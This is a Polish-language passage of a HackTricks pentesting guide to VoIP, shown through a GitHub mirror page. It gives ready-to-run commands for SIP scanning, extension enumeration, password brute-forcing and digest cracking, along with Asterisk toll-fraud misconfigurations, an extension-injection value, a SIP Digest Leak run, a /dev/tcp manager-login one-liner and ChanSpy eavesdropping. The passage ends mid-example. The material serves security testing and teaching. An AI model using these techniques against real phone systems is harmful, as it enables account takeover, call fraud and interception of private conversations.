mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
607 lines
35 KiB
Markdown
607 lines
35 KiB
Markdown
# Pentesting VoIP
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
|
|
## Podstawowe informacje o VoIP
|
|
|
|
Aby rozpocząć naukę o tym, jak działa VoIP, sprawdź:
|
|
|
|
{{#ref}}
|
|
basic-voip-protocols/
|
|
{{#endref}}
|
|
|
|
## Podstawowe wiadomości
|
|
```
|
|
Request name Description RFC references
|
|
------------------------------------------------------------------------------------------------------
|
|
REGISTER Register a SIP user. RFC 3261
|
|
INVITE Initiate a dialog for establishing a call. RFC 3261
|
|
ACK Confirm that an entity has received. RFC 3261
|
|
BYE Signal termination of a dialog and end a call. RFC 3261
|
|
CANCEL Cancel any pending request. RFC 3261
|
|
UPDATE Modify the state of a session without changing the state of the dialog. RFC 3311
|
|
REFER Ask recipient to issue a request for the purpose of call transfer. RFC 3515
|
|
PRACK Provisional acknowledgement. RFC 3262
|
|
SUBSCRIBE Initiates a subscription for notification of events from a notifier. RFC 6665
|
|
NOTIFY Inform a subscriber of notifications of a new event. RFC 6665
|
|
PUBLISH Publish an event to a notification server. RFC 3903
|
|
MESSAGE Deliver a text message. Used in instant messaging applications. RFC 3428
|
|
INFO Send mid-session information that does not modify the session state. RFC 6086
|
|
OPTIONS Query the capabilities of an endpoint RFC 3261
|
|
```
|
|
## Kody Odpowiedzi
|
|
|
|
**1xx—Odpowiedzi Provisionalne**
|
|
```
|
|
100 Trying
|
|
180 Ringing
|
|
181 Call is Being Forwarded
|
|
182 Queued
|
|
183 Session Progress
|
|
199 Early Dialog Terminated
|
|
```
|
|
**2xx—Odpowiedzi pomyślne**
|
|
```
|
|
200 OK
|
|
202 Accepted
|
|
204 No Notification
|
|
```
|
|
**3xx—Odpowiedzi Przekierowujące**
|
|
```
|
|
300 Multiple Choices
|
|
301 Moved Permanently
|
|
302 Moved Temporarily
|
|
305 Use Proxy
|
|
380 Alternative Service
|
|
```
|
|
**4xx—Odpowiedzi o błędach klienta**
|
|
```
|
|
400 Bad Request
|
|
401 Unauthorized
|
|
402 Payment Required
|
|
403 Forbidden
|
|
404 Not Found
|
|
405 Method Not Allowed
|
|
406 Not Acceptable
|
|
407 Proxy Authentication Required
|
|
408 Request Timeout
|
|
409 Conflict
|
|
410 Gone
|
|
411 Length Required
|
|
412 Conditional Request Failed
|
|
413 Request Entity Too Large
|
|
414 Request-URI Too Long
|
|
415 Unsupported Media Type
|
|
416 Unsupported URI Scheme
|
|
417 Unknown Resource-Priority
|
|
420 Bad Extension
|
|
421 Extension Required
|
|
422 Session Interval Too Small
|
|
423 Interval Too Brief
|
|
424 Bad Location Information
|
|
425 Bad Alert Message
|
|
428 Use Identity Header
|
|
429 Provide Referrer Identity
|
|
430 Flow Failed
|
|
433 Anonymity Disallowed
|
|
436 Bad Identity-Info
|
|
437 Unsupported Certificate
|
|
438 Invalid Identity Header
|
|
439 First Hop Lacks Outbound Support
|
|
440 Max-Breadth Exceeded
|
|
469 Bad Info Package
|
|
470 Consent Needed
|
|
480 Temporarily Unavailable
|
|
481 Call/Transaction Does Not Exist
|
|
482 Loop Detected
|
|
483 Too Many Hops
|
|
484 Address Incomplete
|
|
485 Ambiguous
|
|
486 Busy Here
|
|
487 Request Terminated
|
|
488 Not Acceptable Here
|
|
489 Bad Event
|
|
491 Request Pending
|
|
493 Undecipherable
|
|
494 Security Agreement Required
|
|
```
|
|
**5xx—Odpowiedzi o błędach serwera**
|
|
```
|
|
500 Internal Server Error
|
|
501 Not Implemented
|
|
502 Bad Gateway
|
|
503 Service Unavailable
|
|
504 Server Time-out
|
|
505 Version Not Supported
|
|
513 Message Too Large
|
|
555 Push Notification Service Not Supported
|
|
580 Precondition Failure
|
|
```
|
|
**6xx—Global Failure Responses**
|
|
```
|
|
600 Busy Everywhere
|
|
603 Decline
|
|
604 Does Not Exist Anywhere
|
|
606 Not Acceptable
|
|
607 Unwanted
|
|
608 Rejected
|
|
```
|
|
## VoIP Enumeration
|
|
|
|
### Numery Telefonów
|
|
|
|
Jednym z pierwszych kroków, które może podjąć Red Team, jest wyszukiwanie dostępnych numerów telefonów, aby skontaktować się z firmą, korzystając z narzędzi OSINT, wyszukiwania w Google lub skanowania stron internetowych.
|
|
|
|
Gdy masz numery telefonów, możesz skorzystać z usług online, aby zidentyfikować operatora:
|
|
|
|
- [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis&sub=phonenr)
|
|
- [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/)
|
|
- [https://www.whitepages.com/](https://www.whitepages.com/)
|
|
- [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
|
|
|
|
Znając operatora, który świadczy usługi VoIP, możesz zidentyfikować, czy firma korzysta z VoIP... Co więcej, możliwe, że firma nie zatrudniła usług VoIP, ale używa kart PSTN, aby połączyć swoją własną centralę VoIP z tradycyjną siecią telefoniczną.
|
|
|
|
Rzeczy takie jak automatyczne odpowiedzi z muzyką zazwyczaj wskazują, że używane jest VoIP.
|
|
|
|
### Google Dorks
|
|
```bash
|
|
# Grandstream phones
|
|
intitle:"Grandstream Device Configuration" Password
|
|
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org
|
|
|
|
# Cisco Callmanager
|
|
inurl:"ccmuser/logon.asp"
|
|
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"
|
|
|
|
# Cisco phones
|
|
inurl:"NetworkConfiguration" cisco
|
|
|
|
# Linksys phones
|
|
intitle:"Sipura SPA Configuration"
|
|
|
|
# Snom phones
|
|
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm
|
|
|
|
# Polycom SoundPoint IP & phones
|
|
intitle:"SoundPoint IP Configuration Utility - Registration"
|
|
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
|
|
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
|
|
intitle:"Polycom Login" inurl:"/login.html"
|
|
intitle:"Polycom Login" -.com
|
|
|
|
# Elastix
|
|
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
|
|
|
|
# FreePBX
|
|
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"
|
|
```
|
|
### OSINT information
|
|
|
|
Każda inna enumeracja OSINT, która pomoże zidentyfikować używane oprogramowanie VoIP, będzie pomocna dla Red Team.
|
|
|
|
### Network Enumeration
|
|
|
|
- **`nmap`** jest w stanie skanować usługi UDP, ale z powodu liczby skanowanych usług UDP, jest bardzo wolny i może nie być zbyt dokładny w przypadku tego rodzaju usług.
|
|
```bash
|
|
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
|
|
```
|
|
- **`svmap`** z SIPVicious (`sudo apt install sipvicious`): Zlokalizuje usługi SIP w wskazanej sieci.
|
|
- `svmap` jest **łatwy do zablokowania**, ponieważ używa User-Agent `friendly-scanner`, ale możesz zmodyfikować kod z `/usr/share/sipvicious/sipvicious` i go zmienić.
|
|
```bash
|
|
# Use --fp to fingerprint the services
|
|
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
|
|
```
|
|
- **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS scan to bardzo szybki skaner dla usług SIP przez UDP, TCP lub TLS. Używa wielowątkowości i może skanować duże zakresy sieci. Umożliwia łatwe wskazanie zakresu portów, skanowanie zarówno TCP, jak i UDP, użycie innej metody (domyślnie użyje OPTIONS) oraz określenie innego User-Agent (i więcej).
|
|
```bash
|
|
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
|
|
|
|
[!] IP/Network: 10.10.0.0/24
|
|
[!] Port range: 5060-5080
|
|
[!] Protocol: UDP, TCP, TLS
|
|
[!] Method to scan: REGISTER
|
|
[!] Customized User-Agent: Cisco
|
|
[!] Used threads: 200
|
|
```
|
|
- **metasploit**:
|
|
```
|
|
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
|
|
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
|
|
```
|
|
#### Dodatkowa enumeracja sieci
|
|
|
|
PBX może również udostępniać inne usługi sieciowe, takie jak:
|
|
|
|
- **69/UDP (TFTP)**: Aktualizacje oprogramowania
|
|
- **80 (HTTP) / 443 (HTTPS)**: Zarządzanie urządzeniem z poziomu sieci
|
|
- **389 (LDAP)**: Alternatywa do przechowywania informacji o użytkownikach
|
|
- **3306 (MySQL)**: Baza danych MySQL
|
|
- **5038 (Manager)**: Umożliwia korzystanie z Asteriska z innych platform
|
|
- **5222 (XMPP)**: Wiadomości za pomocą Jabber
|
|
- **5432 (PostgreSQL)**: Baza danych PostgreSQL
|
|
- I inne...
|
|
|
|
### Enumeracja metod
|
|
|
|
Możliwe jest znalezienie **które metody są dostępne** do użycia w PBX za pomocą `SIPPTS enumerate` z [**sippts**](https://github.com/Pepelux/sippts)
|
|
```bash
|
|
sippts enumerate -i 10.10.0.10
|
|
```
|
|
### Analizowanie odpowiedzi serwera
|
|
|
|
Bardzo ważne jest, aby analizować nagłówki, które serwer do nas wysyła, w zależności od rodzaju wiadomości i nagłówków, które wysyłamy. Z `SIPPTS send` z [**sippts**](https://github.com/Pepelux/sippts) możemy wysyłać spersonalizowane wiadomości, manipulując wszystkimi nagłówkami, i analizować odpowiedź.
|
|
```bash
|
|
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
|
|
```
|
|
Możliwe jest również uzyskanie danych, jeśli serwer używa websockets. Z `SIPPTS wssend` z [**sippts**](https://github.com/Pepelux/sippts) możemy wysyłać spersonalizowane wiadomości WS.
|
|
```bash
|
|
sippts wssend -i 10.10.0.10 -r 443 -path /ws
|
|
```
|
|
### Enumeracja rozszerzeń
|
|
|
|
Rozszerzenia w systemie PBX (Prywatna Centrala Telefoniczna) odnoszą się do **unikalnych identyfikatorów wewnętrznych przypisanych do poszczególnych** linii telefonicznych, urządzeń lub użytkowników w organizacji lub firmie. Rozszerzenia umożliwiają **efektywne kierowanie połączeń wewnątrz organizacji**, bez potrzeby posiadania indywidualnych zewnętrznych numerów telefonów dla każdego użytkownika lub urządzenia.
|
|
|
|
- **`svwar`** z SIPVicious (`sudo apt install sipvicious`): `svwar` to darmowy skaner linii rozszerzeń SIP PBX. W koncepcji działa podobnie do tradycyjnych wardialerów, **zgadując zakres rozszerzeń lub podaną listę rozszerzeń**.
|
|
```bash
|
|
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
|
|
```
|
|
- **`SIPPTS exten`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS exten identyfikuje rozszerzenia na serwerze SIP. Sipexten może sprawdzać duże zakresy sieci i portów.
|
|
```bash
|
|
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
|
|
```
|
|
- **metasploit**: Możesz również enumerować rozszerzenia/nazwy użytkowników za pomocą metasploit:
|
|
```
|
|
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
|
|
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
|
|
```
|
|
- **`enumiax` (`apt install enumiax`): enumIAX** to protokół Inter Asterisk Exchange **do enumeracji nazw użytkowników metodą brute-force**. enumIAX może działać w dwóch odrębnych trybach: Sekwencyjne Zgadywanie Nazw Użytkowników lub Atak Słownikowy.
|
|
```bash
|
|
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
|
|
enumiax -v -m3 -M3 10.10.0.10
|
|
```
|
|
## Ataki VoIP
|
|
|
|
### Atak Brute-Force na hasła - online
|
|
|
|
Po odkryciu **PBX** i kilku **rozszerzeń/nazw użytkowników**, Zespół Czerwony może spróbować **uwierzytelnić się za pomocą metody `REGISTER`** do rozszerzenia, używając słownika powszechnych haseł do przeprowadzenia ataku brute force na uwierzytelnienie.
|
|
|
|
> [!CAUTION]
|
|
> Zauważ, że **nazwa użytkownika** może być taka sama jak rozszerzenie, ale ta praktyka może się różnić w zależności od systemu PBX, jego konfiguracji i preferencji organizacji...
|
|
>
|
|
> Jeśli nazwa użytkownika nie jest taka sama jak rozszerzenie, będziesz musiał **ustalić nazwę użytkownika, aby przeprowadzić atak brute-force**.
|
|
|
|
- **`svcrack`** z SIPVicious (`sudo apt install sipvicious`): SVCrack pozwala na złamanie hasła dla konkretnej nazwy użytkownika/rozszerzenia na PBX.
|
|
```bash
|
|
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
|
|
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
|
|
```
|
|
- **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack to zdalny program do łamania haseł dla usług SIP. Rcrack może testować hasła dla kilku użytkowników w różnych adresach IP i zakresach portów.
|
|
```bash
|
|
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
|
|
```
|
|
- **Metasploit**:
|
|
- [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb)
|
|
- [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb)
|
|
|
|
### VoIP Sniffing
|
|
|
|
Jeśli znajdziesz sprzęt VoIP w **otwartej sieci Wifi**, możesz **przechwycić wszystkie informacje**. Co więcej, jeśli jesteś w bardziej zamkniętej sieci (połączonej przez Ethernet lub chronioną Wifi), możesz przeprowadzić **ataki MitM, takie jak** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) między **PBX a bramą**, aby przechwycić informacje.
|
|
|
|
Wśród informacji sieciowych możesz znaleźć **dane logowania do zarządzania sprzętem**, **numery wewnętrzne** użytkowników, **nazwy użytkowników**, **adresy IP**, a nawet **zhardcodowane hasła** i **pakiety RTP**, które możesz odtworzyć, aby **usłyszeć rozmowę**, i więcej.
|
|
|
|
Aby uzyskać te informacje, możesz użyć narzędzi takich jak Wireshark, tcpdump... ale **specjalnie stworzone narzędzie do przechwytywania rozmów VoIP to** [**ucsniff**](https://github.com/Seabreg/ucsniff).
|
|
|
|
> [!CAUTION]
|
|
> Zauważ, że jeśli **TLS jest używany w komunikacji SIP**, nie będziesz w stanie zobaczyć komunikacji SIP w czystym tekście.\
|
|
> To samo stanie się, jeśli używane są **SRTP** i **ZRTP**, **pakiety RTP nie będą w czystym tekście**.
|
|
|
|
#### SIP credentials (Password Brute-Force - offline)
|
|
|
|
[Sprawdź ten przykład, aby lepiej zrozumieć **komunikację SIP REGISTER**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example), aby dowiedzieć się, jak **dane logowania są wysyłane**.
|
|
|
|
- **`sipdump`** i **`sipcrack`,** część **sipcrack** (`apt-get install sipcrack`): Te narzędzia mogą **wyodrębnić** z **pcap** **uwierzytelnienia digest** w protokole SIP i **przeprowadzić atak brute-force**.
|
|
```bash
|
|
sipdump -p net-capture.pcap sip-creds.txt
|
|
sipcrack sip-creds.txt -w dict.txt
|
|
```
|
|
- **`SIPPTS dump`** z [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump może wyodrębnić uwierzytelnienia digest z pliku pcap.
|
|
```bash
|
|
sippts dump -f capture.pcap -o data.txt
|
|
```
|
|
- **`SIPPTS dcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack to narzędzie do łamania uwierzytelnień digestowych uzyskanych za pomocą zrzutu SIPPTS.
|
|
```bash
|
|
sippts dcrack -f data.txt -w wordlist/rockyou.txt
|
|
```
|
|
- **`SIPPTS tshark`** z [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS tshark wyodrębnia dane protokołu SIP z pliku PCAP.
|
|
```bash
|
|
sippts tshark -f capture.pcap [-filter auth]
|
|
```
|
|
#### Kody DTMF
|
|
|
|
**Nie tylko dane uwierzytelniające SIP** mogą być znalezione w ruchu sieciowym, możliwe jest również znalezienie kodów DTMF, które są używane na przykład do uzyskania dostępu do **poczty głosowej**.\
|
|
Można wysyłać te kody w **wiadomościach INFO SIP**, w **audio** lub wewnątrz **pakietów RTP**. Jeśli kody znajdują się w pakietach RTP, możesz wyciąć tę część rozmowy i użyć narzędzia multimo, aby je wyodrębnić:
|
|
```bash
|
|
multimon -a DTMF -t wac pin.wav
|
|
```
|
|
### Free Calls / Asterisks Connections Misconfigurations
|
|
|
|
W Asterisku możliwe jest zezwolenie na połączenie **z konkretnego adresu IP** lub z **dowolnego adresu IP**:
|
|
```
|
|
host=10.10.10.10
|
|
host=dynamic
|
|
```
|
|
Jeśli adres IP jest określony, host **nie będzie musiał wysyłać żądań REGISTER** co jakiś czas (w pakiecie REGISTER wysyłany jest czas życia, zazwyczaj 30 minut, co oznacza, że w innym scenariuszu telefon będzie musiał REJESTROWAĆ się co 30 minut). Jednak będzie musiał mieć otwarte porty umożliwiające połączenia z serwerem VoIP, aby odbierać połączenia.
|
|
|
|
Aby zdefiniować użytkowników, można ich zdefiniować jako:
|
|
|
|
- **`type=user`**: Użytkownik może odbierać połączenia tylko jako użytkownik.
|
|
- **`type=friend`**: Możliwe jest wykonywanie połączeń jako peer i odbieranie ich jako użytkownik (używane z rozszerzeniami)
|
|
- **`type=peer`**: Możliwe jest wysyłanie i odbieranie połączeń jako peer (SIP-trunki)
|
|
|
|
Możliwe jest również nawiązanie zaufania za pomocą zmiennej insecure:
|
|
|
|
- **`insecure=port`**: Umożliwia połączenia peer weryfikowane przez IP.
|
|
- **`insecure=invite`**: Nie wymaga uwierzytelnienia dla wiadomości INVITE
|
|
- **`insecure=port,invite`**: Oba
|
|
|
|
> [!WARNING]
|
|
> Gdy używany jest **`type=friend`**, **wartość** zmiennej **host** **nie będzie używana**, więc jeśli administrator **błędnie skonfiguruje SIP-trunk** używając tej wartości, **każdy będzie mógł się z nim połączyć**.
|
|
>
|
|
> Na przykład, ta konfiguracja byłaby podatna na atak:\
|
|
> `host=10.10.10.10`\
|
|
> `insecure=port,invite`\
|
|
> `type=friend`
|
|
|
|
### Darmowe Połączenia / Błędy Konfiguracji Kontekstów Asteriska
|
|
|
|
W Asterisku **kontekst** to nazwany kontener lub sekcja w planie numeracyjnym, która **grupuje powiązane rozszerzenia, akcje i zasady**. Plan numeracyjny jest kluczowym elementem systemu Asterisk, ponieważ definiuje **jak są obsługiwane i kierowane połączenia przychodzące i wychodzące**. Konteksty są używane do organizacji planu numeracyjnego, zarządzania kontrolą dostępu i zapewnienia separacji między różnymi częściami systemu.
|
|
|
|
Każdy kontekst jest definiowany w pliku konfiguracyjnym, zazwyczaj w pliku **`extensions.conf`**. Konteksty są oznaczane nawiasami kwadratowymi, a nazwa kontekstu jest umieszczona w ich wnętrzu. Na przykład:
|
|
```bash
|
|
csharpCopy code[my_context]
|
|
```
|
|
W kontekście definiujesz rozszerzenia (wzorce wybieranych numerów) i przypisujesz je do serii działań lub aplikacji. Te działania określają, jak połączenie jest przetwarzane. Na przykład:
|
|
```scss
|
|
[my_context]
|
|
exten => 100,1,Answer()
|
|
exten => 100,n,Playback(welcome)
|
|
exten => 100,n,Hangup()
|
|
```
|
|
Ten przykład demonstruje prosty kontekst o nazwie "my_context" z rozszerzeniem "100". Gdy ktoś wybierze 100, połączenie zostanie odebrane, zostanie odtworzona wiadomość powitalna, a następnie połączenie zostanie zakończone.
|
|
|
|
To jest **inny kontekst**, który pozwala na **wywołanie dowolnego innego numeru**:
|
|
```scss
|
|
[external]
|
|
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
|
|
```
|
|
Jeśli administrator definiuje **domyślny kontekst** jako:
|
|
```
|
|
[default]
|
|
include => my_context
|
|
include => external
|
|
```
|
|
> [!WARNING]
|
|
> Każdy będzie mógł użyć **serwera do dzwonienia na dowolny inny numer** (a administrator serwera zapłaci za połączenie).
|
|
|
|
> [!CAUTION]
|
|
> Co więcej, domyślnie plik **`sip.conf`** zawiera **`allowguest=true`**, więc **każdy** atakujący bez **autoryzacji** będzie mógł dzwonić na dowolny inny numer.
|
|
|
|
- **`SIPPTS invite`** z [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite sprawdza, czy **serwer PBX pozwala nam na wykonywanie połączeń bez autoryzacji**. Jeśli serwer SIP ma nieprawidłową konfigurację, pozwoli nam na wykonywanie połączeń do numerów zewnętrznych. Może również pozwolić na przekazanie połączenia do drugiego numeru zewnętrznego.
|
|
|
|
Na przykład, jeśli Twój serwer Asterisk ma złą konfigurację kontekstu, możesz zaakceptować żądanie INVITE bez autoryzacji. W takim przypadku atakujący może wykonywać połączenia, nie znając żadnego użytkownika/hasła.
|
|
```bash
|
|
# Trying to make a call to the number 555555555 (without auth) with source number 200.
|
|
sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v
|
|
|
|
# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
|
|
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
|
|
```
|
|
### Darmowe połączenia / Źle skonfigurowane IVRS
|
|
|
|
IVRS oznacza **System Interaktywnej Odpowiedzi Głosowej**, technologię telekomunikacyjną, która pozwala użytkownikom na interakcję z systemem komputerowym za pomocą głosu lub tonów dotykowych. IVRS jest używane do budowy **systemów automatycznego obsługi połączeń**, które oferują szereg funkcji, takich jak dostarczanie informacji, kierowanie połączeń i zbieranie danych od użytkowników.
|
|
|
|
IVRS w systemach VoIP zazwyczaj składa się z:
|
|
|
|
1. **Podpowiedzi głosowe**: Wstępnie nagrane wiadomości audio, które prowadzą użytkowników przez opcje menu IVR i instrukcje.
|
|
2. **DTMF** (Dual-Tone Multi-Frequency) signaling: Tones dotykowe generowane przez naciśnięcie klawiszy na telefonie, które są używane do nawigacji po menu IVR i dostarczania danych.
|
|
3. **Kierowanie połączeń**: Kierowanie połączeń do odpowiedniego miejsca docelowego, takiego jak konkretne działy, agenci lub numery wewnętrzne na podstawie danych wprowadzonych przez użytkownika.
|
|
4. **Zbieranie danych od użytkowników**: Zbieranie informacji od dzwoniących, takich jak numery kont, identyfikatory spraw lub inne istotne dane.
|
|
5. **Integracja z systemami zewnętrznymi**: Łączenie systemu IVR z bazami danych lub innymi systemami oprogramowania w celu uzyskania lub aktualizacji informacji, wykonywania działań lub wyzwalania zdarzeń.
|
|
|
|
W systemie VoIP Asterisk możesz stworzyć IVR używając planu wybierania (**`extensions.conf`** file) oraz różnych aplikacji, takich jak `Background()`, `Playback()`, `Read()` i innych. Te aplikacje pomagają odtwarzać podpowiedzi głosowe, zbierać dane od użytkowników i kontrolować przepływ połączeń.
|
|
|
|
#### Przykład podatnej konfiguracji
|
|
```scss
|
|
exten => 0,100,Read(numbers,the_call,,,,5)
|
|
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
|
|
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
|
|
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
|
|
exten => 0,104,Dial(LOCAL/${numbers})
|
|
```
|
|
Poprzedni to przykład, w którym użytkownik jest proszony o **naciśnięcie 1, aby zadzwonić** do działu, **2, aby zadzwonić** do innego, lub **pełnego numeru wewnętrznego**, jeśli go zna.\
|
|
Wrażliwość polega na tym, że wskazana **długość numeru wewnętrznego nie jest sprawdzana, więc użytkownik może wprowadzić 5-sekundowy limit czasu jako pełny numer i zostanie on wywołany.**
|
|
|
|
### Wstrzykiwanie numeru wewnętrznego
|
|
|
|
Używając numeru wewnętrznego takiego jak:
|
|
```scss
|
|
exten => _X.,1,Dial(SIP/${EXTEN})
|
|
```
|
|
Gdzie **`${EXTEN}`** to **numer wewnętrzny**, który będzie wywoływany, gdy **wprowadzony zostanie ext 101**, to co się wydarzy:
|
|
```scss
|
|
exten => 101,1,Dial(SIP/101)
|
|
```
|
|
Jednakże, jeśli **`${EXTEN}`** pozwala na wprowadzenie **więcej niż tylko cyfr** (jak w starszych wersjach Asteriska), atakujący mógłby wprowadzić **`101&SIP123123123`**, aby zadzwonić pod numer telefonu 123123123. A oto wynik:
|
|
```scss
|
|
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
|
|
```
|
|
Zatem połączenie do rozszerzenia **`101`** i **`123123123`** zostanie wysłane, a tylko pierwsze z nich nawiąże połączenie... ale jeśli atakujący użyje **rozszerzenia, które omija jakiekolwiek dopasowanie**, które jest wykonywane, ale nie istnieje, może **wstrzyknąć połączenie tylko do pożądanego numeru**.
|
|
|
|
## Wrażliwość SIPDigestLeak
|
|
|
|
Wrażliwość SIP Digest Leak dotyczy dużej liczby telefonów SIP, w tym zarówno sprzętowych, jak i programowych telefonów IP oraz adapterów telefonicznych (VoIP na analogowe). Wrażliwość ta pozwala na **wyciek odpowiedzi na uwierzytelnienie Digest**, która jest obliczana na podstawie hasła. Możliwy jest **atak offline na hasło**, który może odzyskać większość haseł na podstawie odpowiedzi na wyzwanie.
|
|
|
|
**[Scenariusz wrażliwości stąd**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
|
|
|
|
1. Telefon IP (ofiara) nasłuchuje na dowolnym porcie (na przykład: 5060), akceptując połączenia telefoniczne
|
|
2. Atakujący wysyła INVITE do telefonu IP
|
|
3. Telefon ofiary zaczyna dzwonić, a ktoś odbiera i odkłada słuchawkę (ponieważ nikt nie odpowiada na telefon po drugiej stronie)
|
|
4. Gdy telefon zostaje odłożony, **telefon ofiary wysyła BYE do atakującego**
|
|
5. **Atakujący wydaje odpowiedź 407**, która **prosi o uwierzytelnienie** i wydaje wyzwanie uwierzytelniające
|
|
6. **Telefon ofiary dostarcza odpowiedź na wyzwanie uwierzytelniające** w drugim BYE
|
|
7. **Atakujący może następnie przeprowadzić atak brute-force** na odpowiedzi na wyzwanie na swoim lokalnym komputerze (lub w rozproszonej sieci itp.) i odgadnąć hasło
|
|
|
|
- **Wyciek SIPPTS** z [**sippts**](https://github.com/Pepelux/sippts)**:** Wyciek SIPPTS wykorzystuje wrażliwość SIP Digest Leak, która dotyczy dużej liczby telefonów SIP. Wynik można zapisać w formacie SipCrack, aby przeprowadzić atak brute-force za pomocą SIPPTS dcrack lub narzędzia SipCrack.
|
|
```bash
|
|
sippts leak -i 10.10.0.10
|
|
|
|
[!] Target: 10.10.0.10:5060/UDP
|
|
[!] Caller: 100
|
|
[!] Callee: 100
|
|
|
|
[=>] Request INVITE
|
|
[<=] Response 100 Trying
|
|
[<=] Response 180 Ringing
|
|
[<=] Response 200 OK
|
|
[=>] Request ACK
|
|
... waiting for BYE ...
|
|
[<=] Received BYE
|
|
[=>] Request 407 Proxy Authentication Required
|
|
[<=] Received BYE with digest
|
|
[=>] Request 200 Ok
|
|
|
|
Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5
|
|
```
|
|
### Click2Call
|
|
|
|
Click2Call pozwala **użytkownikowi sieciowemu** (który na przykład może być zainteresowany produktem) **wprowadzić** swój **numer telefonu**, aby otrzymać połączenie. Następnie zostanie wykonane połączenie do agenta, a gdy **odbierze telefon**, użytkownik zostanie **połączony z agentem**.
|
|
|
|
Typowy profil Asterisk dla tego to:
|
|
```scss
|
|
[web_user]
|
|
secret = complex_password
|
|
deny = 0.0.0.0/0.0.0.0
|
|
allow = 0.0.0.0/0.0.0.0
|
|
displayconnects = yes
|
|
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
|
|
write = system,call,agent,user,config,command,reporting,originate
|
|
```
|
|
- Poprzedni profil pozwala na **połączenie z DOWOLNYM adresem IP** (jeśli hasło jest znane).
|
|
- Aby **zorganizować połączenie**, jak wcześniej określono, **nie są potrzebne uprawnienia do odczytu** i **tylko** **originate** w **zapisie** jest wymagane.
|
|
|
|
Z tymi uprawnieniami każdy adres IP znający hasło mógłby się połączyć i wydobyć zbyt wiele informacji, takich jak:
|
|
```bash
|
|
# Get all the peers
|
|
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
|
|
```
|
|
**Więcej informacji lub działań może być wymaganych.**
|
|
|
|
### **Podsłuchiwanie**
|
|
|
|
W Asterisku możliwe jest użycie polecenia **`ChanSpy`**, wskazując **numer(y) wewnętrzny(e) do monitorowania** (lub wszystkie), aby słyszeć rozmowy, które się odbywają. To polecenie musi być przypisane do numeru wewnętrznego.
|
|
|
|
Na przykład, **`exten => 333,1,ChanSpy('all',qb)`** wskazuje, że jeśli **zadzwonisz** na **numer wewnętrzny 333**, będzie **monitorować** **`wszystkie`** numery wewnętrzne, **rozpoczynając nasłuchiwanie** za każdym razem, gdy rozpocznie się nowa rozmowa (**`b`**) w trybie cichym (**`q`**), ponieważ nie chcemy w nią ingerować. Możesz przechodzić z jednej rozmowy do drugiej, naciskając **`*`** lub wpisując numer wewnętrzny.
|
|
|
|
Możliwe jest również użycie **`ExtenSpy`** do monitorowania tylko jednego numeru wewnętrznego.
|
|
|
|
Zamiast słuchać rozmów, możliwe jest **nagrywanie ich w plikach** przy użyciu numeru wewnętrznego, takiego jak:
|
|
```scss
|
|
[recorded-context]
|
|
